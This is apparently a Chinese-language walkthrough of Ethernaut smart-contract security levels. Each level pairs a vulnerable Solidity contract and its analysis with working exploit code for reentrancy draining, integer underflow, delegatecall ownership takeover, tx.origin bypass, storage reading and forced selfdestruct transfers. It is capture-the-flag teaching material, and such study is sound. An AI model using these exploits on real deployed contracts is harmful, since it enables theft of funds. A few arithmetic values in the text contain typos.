以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。 Solution12345678910111213141516171819202122232425262728293031323334353637383940414243444546pragma solidity ^0.4.18;contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } }}contract hack{ uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; address instance_address = 0x3205e72483e9568c0959384f9c13672c3566c4a1; CoinFlip c = CoinFlip(instance_address); function exploit() public { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; c.flip(side); }} 调用 10 次 exploit() 即可 TelephoneRequire Claim ownship of the contract below to complete this level Source12345678910111213141516pragma solidity ^0.4.18;contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }} Analyse 这里区分一下 tx.origin 和 msg.sender ,msg.sender是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。 给定这样一个场景如:用户通过 合约A 调 合约B ,此时: 对于 合约A :tx.origin和msg.sender都是用户 对于 合约B :tx.origin是用户,msg.sender是 合约A所以,这里部署一个第三方合约即可。 Solution12345678910111213141516171819202122232425pragma solidity ^0.4.18;contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } }}contract hack { address instance_address = 0x852cd04ec66730198e709eb4261d3fa926bc92d8; Telephone t = Telephone(instance_address); function exploit() public { t.changeOwner(msg.sender); }} 攻击者调用 exploit() 即可 TokenRequire The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. Source12345678910111213141516171819202122pragma solidity ^0.4.18;contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; }} Analyse 经典的整数溢出问题,在 transfer() 函数第一行 require 里,这里的 balances 和 value 都是 uint 。此时 balances 为 20 ,令 value=21 ,产生下溢,从而绕过验证,并转出一笔很大的金额。 Solution1234// 转给谁不重要,关键是利用 20-21 触发整数下溢await contract.transfer(0, 21);// 可以看一下自己现在的 token 有多少(非常之多)await contract.balanceOf(player); 但是也并非没有办法来处理该问题,最简单的处理是在每一次数学运算时进行判断,如 a=a+b ;就可以写成 if(a+b>a) a=a+b; 。题目建议的另一种解决方案则是使用 OpenZeppelin团队 开发的 SafeMath库 ,如果整数溢出漏洞发生时,函数将进行回退操作,此时加法操作可以写作这样:a=a.add(b); DelegationRequire claim ownership of the instance Source12345678910111213141516171819202122232425262728293031pragma solidity ^0.4.18;contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; }}contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; } }} Analyse 我们看下 delegatecall 的文档 There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. 考点一 考点一在于 Solidity 支持两种底层调用方式 call 和 delegatecall call 外部调用时,上下文是外部合约 delegatecall 外部调用时,上下文是调用合约 所以 delegate.delegatecall(msg.data) 其实调用的是 delegate 自身的 msg.data 考点二 熟悉 raw 格式的交易的 data 的会知道:data 头4个 byte 是被调用方法的签名哈希,即 bytes4(keccak256("func")) , remix 里调用函数,实际是向合约账户地址发送了( msg.data[0:4] == 函数签名哈希 )的一笔交易 所以我们只需调用 Delegation 的 fallback 的同时在 msg.data 放入 pwn 函数的签名即可 考点三 这里其实主要思路就是 fallback 的触发条件: 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether 综上,我们只需调用 Delegation 的 假pwn() 即可,这样就会触发 Delegation 的 fallback ,这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了,这样就会只需 delegate 的 pwn() 把 owner 变成自己 Solution web3 中 sha3 就是 keccak256 ForceRequire make the balance of the contract greater than zero Source1234567891011pragma solidity ^0.4.18;contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m)*/} Analyse 骚操作, selfdestruct 自毁合约强转 所以只需要再部署一个合约,打一点钱,然后自毁把合约金额转给目标合约即可 Solution1234567891011121314pragma solidity ^0.4.18; contract Force {}contract hack { address instance_address = 0xe0a165650f7b04bde4fda5845d41aaf947703dd2; Force target = Force(instance_address); function hack() payable {} function exploit() payable public { selfdestruct(target); }} 部署 hack 的时候转一点钱,然后执行 exploit() 即可 VaultRequire Unlock the vault to pass the level! Source1234567891011121314151617pragma solidity ^0.4.18;contract Vault { bool public locked; bytes32 private password; function Vault(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }} Analyse 通关条件是 locked = false 考点关键是区块链上的所有信息是公开的 可以用 web3 的 getStorageAt 来访问合约里变量的值 Solution KingRequire When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation. Source123456789101112131415161718192021pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';contract King is Ownable { address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; }} Analyse 代码逻辑很简单,谁给的钱多谁就能成为 King ,并且将前任 King 的钱归还。当提交 instance 时,题目会重新夺回 King 的位置,需要阻止其他人成为 King方可通关 首先看一下 Solidity 中几种转账方式: address.transfer()当发送失败时会 throw ;回滚状态只会传递部分 Gas 供调用,防止重入 address.send()当发送失败时会返回 false只会传递部分 Gas 供调用,防止重入 address.call.value()()当发送失败时会返回 false传递所有可用 Gas 供调用,不能有效防止重入 回头看下代码,当我们成为 King 后,如果有人出价比我们高,会首先把钱退回给我们,使用的是 transfer ,上面提到当 transfer 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,那么代码将无法继续向下运行,其他人也就无法成为新的 King,达到攻击效果 Solution 首先查看一下当前最高出价 12await fromWei((await contract.prize()).toNumber())// 1 eth 部署一个新的合约,当收到转账时主动抛出错误 123456789101112131415pragma solidity ^0.4.18;contract Attack { address instance_address = 0xa4d38a8591b7e16bea4fe0f64cd77ee7243f1cdc; function Attack() payable{} function hack() public { instance_address.call.value(1.1 ether)(); } function () public { throw; }} 调用 hack() 即可,可以看到调用 hack() 后成为了新的 King ,而且 Submit innstance 后,仍然是 King Re-entrancyRequire The goal of this level is for you to steal all the funds from the contract Source12345678910111213141516171819202122232425262728pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {}} Analyse DASP 排第一的重入漏洞,也是著名的 DAO 事件里用到的方法 漏洞主要在于 withdraw() 函数,合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount) 来发送 Ether ,处理完成后相应修改用户资产数据 在提币的过程中,存在一个递归 withdraw 的问题(因为 -=_amount 在转账之后),攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether 全部提出 其中,转账使用的是 address.call.value()() 函数,传递了所有可用 gas 供调用,是可以成功执行递归的前提条件 Solution 查看题目账户余额信息: Reentrance 合约余额为 1 eth balances[address(Attacker)] = 0 所以部署 Attacker 合约时,可以给 Attacker 合约先转 1 eth ,然后 donate 1 eth ,这样的话 Reentrance 合约余额就是 2 eth 了,balances[address(Attacker)] 就是 1 eth ,然后每次 withdraw 1 eth,这样的话,重入 2 次就能将钱全部转出 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960pragma solidity ^0.4.19;contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {}}contract Attacker{ address instance_address = 0x54426463ef0ff0c720e9947f79ab6a770fda34f4; Reentrance target = Reentrance(instance_address); uint have_withdraw = 0; function Attacker() payable {} function get_balance() public view returns (uint){ return target.balanceOf(this); } function get_balance_ins() public view returns (uint){ return instance_address.balance; } function get_balance_my() public view returns (uint){ return address(this).balance; } function donate() public payable{ target.donate.value(1 ether)(this); } function() payable{ if (have_withdraw == 0 && msg.sender == instance_address){ have_withdraw = 1; target.withdraw(1 ether); } } function hack(){ target.withdraw(1 ether); }} 合约刚部署好余额如下 调用 Attacker 的 donate() 调用 hack() 进行重入攻击 2 次,可以看到 Reentrance 合约余额变为 0 ,而 balances[address(Attacker)] = 1 - 2 ,由于是 uint256 类型,所以下溢变成了 uint256 类型最大值,攻击成功 ElevatorRequire reach the top of your building Source123456789101112131415161718192021pragma solidity ^0.4.18;interface Building { function isLastFloor(uint) view public returns (bool);}contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } }} Analyse 通关条件是使 contract.top = true Building 接口中声明了 isLastFloor 函数,用户可自行编写 在主合约中,先调用 building.isLastFloor(floor) 进行 if 判断,然后将 building.isLastFloor(floor) 赋值给 top 。要使 top = ture ,则 building.isLastFloor(floor) 第一次调用需返回 false ,第二次调用返回 true 所以就有了思路:设置一个初始值为 true 的变量,每次调用 isLastFloor() 时,将其取反再返回 但是,题目在声明 isLastFloor 时,赋予了 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态 看了下题目的提示Sometimes solidity is not good at keeping promises. 翻阅了文档,找到对 view 的描述:view functions: The compiler does not enforce yet that a view method is not modifying state. 意思是当前 Solidity 编译器没有强制执行 view 函数不能修改状态,所以上述做法就是可行的1234567891011121314151617181920212223242526272829303132pragma solidity ^0.4.18;interface Building { function isLastFloor(uint) view public returns (bool);}contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } }}contract hack { address instance_address = 0x89fa2727ad30129f657994117323f7e15b3c626a; Elevator e = Elevator(instance_address); bool public flag = true; function isLastFloor(uint) public returns (bool){ flag = !flag; return flag; } function exploit() public{ e.goTo(123); }} 调用 exploit() 即可 PrivacyRequire Unlock this contract to beat the level Source123456789101112131415161718192021222324252627282930pragma solidity ^0.4.18;contract Privacy { bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */} Analyse 之前 Vault 题目的升级版,还是一样,用 getStorageAt() 把链上的数据读出来 Solution12345678910await web3.eth.getStorageAt(instance, 0, function(x,y){console.info(y);})// 0x000000000000000000000000000000000000000000000000000000df9dff0a01await web3.eth.getStorageAt(instance, 1, function(x,y){console.info(y);})// 0x85b05e35e73af32ed1948f0a1a58d8a67e449f77eb22222decfef426f1936586await web3.eth.getStorageAt(instance, 2, function(x,y){console.info(y);})// 0x9daa83d6f3dbb320583dc59ed67813a5adc473d0d2ff18c0be08ef1a46a037b0await web3.eth.getStorageAt(instance, 3, function(x,y){console.info(y);})// 0xf001da34b0220001e65b894cb5ea3d0a3155843c51477b29215a6aa43348b697await web3.eth.getStorageAt(instance, 4, function(x,y){console.info(y);})// 0x0000000000000000000000000000000000000000000000000000000000000000 可以看到,每一个存储位是 32 个字节。根据 Solidity 优化规则,当变量所占空间小于 32 字节时,会与后面的变量共享空间,如果加上后面的变量也不超过 32 字节的话,除去 ID 常量无需存储: bool public locked = true 占 1 字节 -> 01 uint8 private flattening = 10 占 1 字节 -> 0a uint8 private denomination = 255 占 1 字节 -> ff uint16 private awkwardness = uint16(now) 占 2 字节 -> df9d 刚好对应了第一个存储位的 df9dff0a0a 所以 data[2] 应该在第四个存储位 0xf001da34b0220001e65b894cb5ea3d0a3155843c51477b29215a6aa43348b697 Gatekeeper OneRequire Make it past the gatekeeper and register as an entrant to pass this level. Source12345678910111213141516171819202122232425262728293031pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas.mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }} Analyse 满足三个 modifier 条件即可 gateOne 很简单,通过第三方合约调用 enter 即可 gateTwo 需要满足 msg.gas % 8191 == 0 msg.gas 是 remaining gas ,在 remix 的 Javascript VM 环境下进行 Debug, 在 Step detail 可以看到这个变量,假设在进入 enter 之前的 remaining gas = 81910 调试到 gateTwo 的 msg.gas 地方,此时 remaining gas = 81697 那么这个过程间消耗的 gas = 81910 - 81697,加上 gas 本身消耗的 2 即可,所以为了满足 gateTwo,在进入 enter 之前的 gas 可以设置为 81910-91697+81910+2 gateThree 也比较简单,最后的逻辑是将 tx.origin 倒数三四字节换成 0000 即可,可以通过 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 实现 Solution1234567891011121314151617181920212223242526272829303132333435363738394041pragma solidity ^0.4.18; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }} contract MyAgent { GatekeeperOne c; function MyAgent(address _c) { c = GatekeeperOne(_c); } function exploit() { bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff; c.enter.gas(81910-81697+81910+2)(_gateKey); }} 调用 exploit() 即可 Gatekeeper TwoRequire Register as an entrant to pass this level Source12345678910111213141516171819202122232425262728pragma solidity ^0.4.18;contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }} Analyse 满足三个 modifier 即可 gateOne 很简单,通过第三方合约调用 enter 即可 gateThree 毕竟简单,直接异或逆运算 _gateKey = bytes8(uint64(keccak256(address(this))) ^ (uint64(0) - 1)) gateTwo 比较有技巧性,用了 内联汇编 的写法,翻了一下文档 https://ethereum.github.io/yellowpaper/paper.pdf : caller : Get caller address. extcodesize : Get size of an account’s code. 按照题目的意思,要使当前合约代码区为空,显然与解题是矛盾的,仔细读文档,有一些细节 Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.……During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code. 也就是说,在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空,此时,调用 EXTCODESIZE() 返回为 0 那么,只需要在第三方合约的构造函数中调用题目合约中的 enter() 即可 Solution12345678910111213141516171819202122232425262728293031323334353637pragma solidity ^0.4.18;contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; }}contract hack { function hack(address _c) { GatekeeperTwo c = GatekeeperTwo(_c); bytes8 _gateKey = bytes8(uint64(keccak256(address(this))) ^ (uint64(0) - 1)); c.enter(_gateKey); }} 直接部署合约 hack 即可 Naught CoinRequire Complete this level by getting your token balance to 0. Source1234567891011121314151617181920212223242526272829303132333435pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { using SafeMath for uint256; string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } } Analyse 根据题意,需要将自己的 balance 清空。合约提供了 transfer() 进行转账,但有一个 modifier lockTokens() 限制,只有 10 年后才能调用 transfer() 注意该合约是 StandardToken 的子合约,题目中也给了 The ERC20 Spec 和 The OpenZeppelin codebase 在子合约找不出更多信息的时候,把目光更多放到父合约 StandardToken.sol 和接口上 在 The ERC20 Spec 中,除了 transfer() 之外,还有 transferFrom() 函数也可以进行转账 直接看父合约 StandardToken.sol 12345678910111213contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; ... function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } ...} 跟进 ERC20Lib.sol 1234567891011121314151617181920212223242526library ERC20Lib { ... function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) { self.balances[msg.sender] = self.balances[msg.sender].minus(_value); self.balances[_to] = self.balances[_to].plus(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from](msg.sender); self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from](msg.sender) = _allowance.minus(_value); Transfer(_from, _to, _value); return true; } ... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender](_spender) = _value; Approval(msg.sender, _spender, _value); return true; }} 可以直接调用这个 transferFrom ,但是 transferFrom 需要 msg.sender 获得授权,由于我们就是合约的 owner ,所以可以自己调用 approve 给自己授权 Solution12await contract.approve(player, (await contract.INITIAL_SUPPLY()).toNumber())await contract.transferFrom(player, instance, (await contract.INITIAL_SUPPLY()).toNumber()) PreservationRequire This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given. Source123456789101112131415161718192021222324252627282930313233343536373839pragma solidity ^0.4.23;contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); }}// Simple library contract to set the timecontract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; }} Analyse delegatecall 定义:.delegatecall(…) returns (bool): issue low-level DELEGATECALL, returns false on failure, forwards all available gas, adjustable delegatecall 与 call 功能类似,区别在于 delegatecall 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。注意 delegatecall 是危险函数,它可以完全操作当前合约的状态,可以参考第7题 Delegation delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,这就使得某些访存操作会错误的处理对象 所以这个题可以这样解决: 我们调用 Preservation 的 setFirstTime 函数实际通过 delegatecall 执行了 LibraryContract 的 setTime 函数,修改了 slot 1 ,也就是修改了 timeZone1Library 变量 这样,我们第一次调用 setFirstTime 将 timeZone1Library 变量修改为我们的恶意合约的地址,第二次调用 setFirstTime 就可以执行我们的任意代码了 Solution1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859pragma solidity ^0.4.23;contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); }}// Simple library contract to set the timecontract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; }}contract attack { address public timeZone1Library; address public timeZone2Library; address public owner; address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c; Preservation target = Preservation(instance_address); function attack1() { target.setFirstTime(uint(address(this))); } function attack2() { target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2)); } function setTime(uint _time) public { timeZone1Library = address(_time); timeZone2Library = address(_time); owner = address(_time); }} 先调用 attack1() ,再调用 attack2() 即可 LockedRequire This name registrar is locked and will not accept any new names to be registered. Unlock this registrar to beat the level. Source123456789101112131415161718192021222324252627pragma solidity ^0.4.23; // A Locked Name Registrarcontract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked }} Analyse 典型的利用 struct 默认是 storage 的题目 函数中声明的 newRecord 结构体修改 name 和 mappedAddress 实际分别改的是 unlocked 和 bytes32 name 所以把 name 对应的 slot 0 的值改成 1 就行了 Solution1234567891011121314151617181920212223242526272829303132333435pragma solidity ^0.4.23; // A Locked Name Registrarcontract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked }}contract hack { address instance_addr = 0xfce5ca4942678982889e6c9934a2afb02c670098; Locked target = Locked(instance_addr); function exploit() { target.register(1, tx.origin); }} 调用 exploit() 即可 RecoveryRequire A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address. This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address 其实简单来说就是已知一个 Recovery 合约地址,恢复一下它创建的 SimpleToken 地址,然后将 0.5 eth 从丢失地址的合约中提出即可 Source12345678910111213141516171819202122232425262728293031323334353637383940414243pragma solidity ^0.4.23;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Recovery { //generate tokens function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); }}contract SimpleToken { using SafeMath for uint256; // public variables string public name; mapping (address => uint) public balances; // constructor constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens function() public payable { balances[msg.sender] = msg.value.mul(10); } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } // clean up after ourselves function destroy(address _to) public { selfdestruct(_to); }} Analyse 区块链上所有信息都是公开的,直接上 ropsten 测试网的官方网页查就可以了 Solution方法一 从 console 找到实例地址:0xd29fcc4b193a576a17af9194d706b17ce5da24e2 通过 ropsten.etherscan.io 找到这个实例的交易信息:https://ropsten.etherscan.io/address/0xd29fcc4b193a576a17af9194d706b17ce5da24e2#internaltx 再通过交易信息找到生产合约 lost contract 的地址: 0x77a70a61a077e3aee72404e0e70211bfa72e962b 在 remix 部署 SimpleToken ,使用 At address 指定 lost contract 的地址,然后执行 destroy(play_address) 即可 查看合约地址可以看到已经被销毁https://ropsten.etherscan.io/address/0x77a70a61a077e3aee72404e0e70211bfa72e962b#internaltx 一些分析 方法一提交之后,Zeppelin 给出了原理如下: Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.An interesting blog post by Martin Swende details potential use cases of this.If you’re going to implement this technique, make sure you don’t miss the nonce, or your funds will be lost forever. 原来题目的考点是合约地址可计算,所以这题有两种解法 方法二 参考 https://www.freebuf.com/articles/blockchain-articles/179662.html 参考 https://github.com/ethereum/wiki/wiki/RLP 12345678910111213141516171819202122232425def rlp_encode(input): if isinstance(input,str): if len(input) == 1 and ord(input) < 0x80: return input else: return encode_length(len(input), 0x80) + input elif isinstance(input,list): output = '' for item in input: output += rlp_encode(item) return encode_length(len(output), 0xc0) + outputdef encode_length(L,offset): if L < 56: return chr(L + offset) elif L < 256**8: BL = to_binary(L) return chr(len(BL) + offset + 55) + BL else: raise Exception("input too long")def to_binary(x): if x == 0: return '' else: return to_binary(int(x / 256)) + chr(x % 256)print rlp_encode(["d29fcc4b193a576a17af9194d706b17ce5da24e2".decode('hex'),"01".decode('hex')]).encode('hex') 结果是 d694d29fcc4b193a576a17af9194d706b17ce5da24e201 拿到 solidity 计算地址 123456pragma solidity ^0.4.18;contract test{ function func() view returns (address){ return address(keccak256(0xd694d29fcc4b193a576a17af9194d706b17ce5da24e201)); }} 可以看到计算的地址和方法一是一样的 MagicNumberRequireTo solve this level, you only need to provide the Ethernaut with a “Solver”, a contract that responds to “whatIsTheMeaningOfLife()” with the right number.Easy right? Well… there’s a catch.The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.Good luck! 题目的意思就是部署一个合约 Solver ,要求在被调用 whatIsTheMeaningOfLife() 函数时返回 42 就可以了,但有一个限制是不能超过 10 个 opcode Source123456789101112131415161718192021222324pragma solidity ^0.4.24;contract MagicNum { address public solver; constructor() public {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ 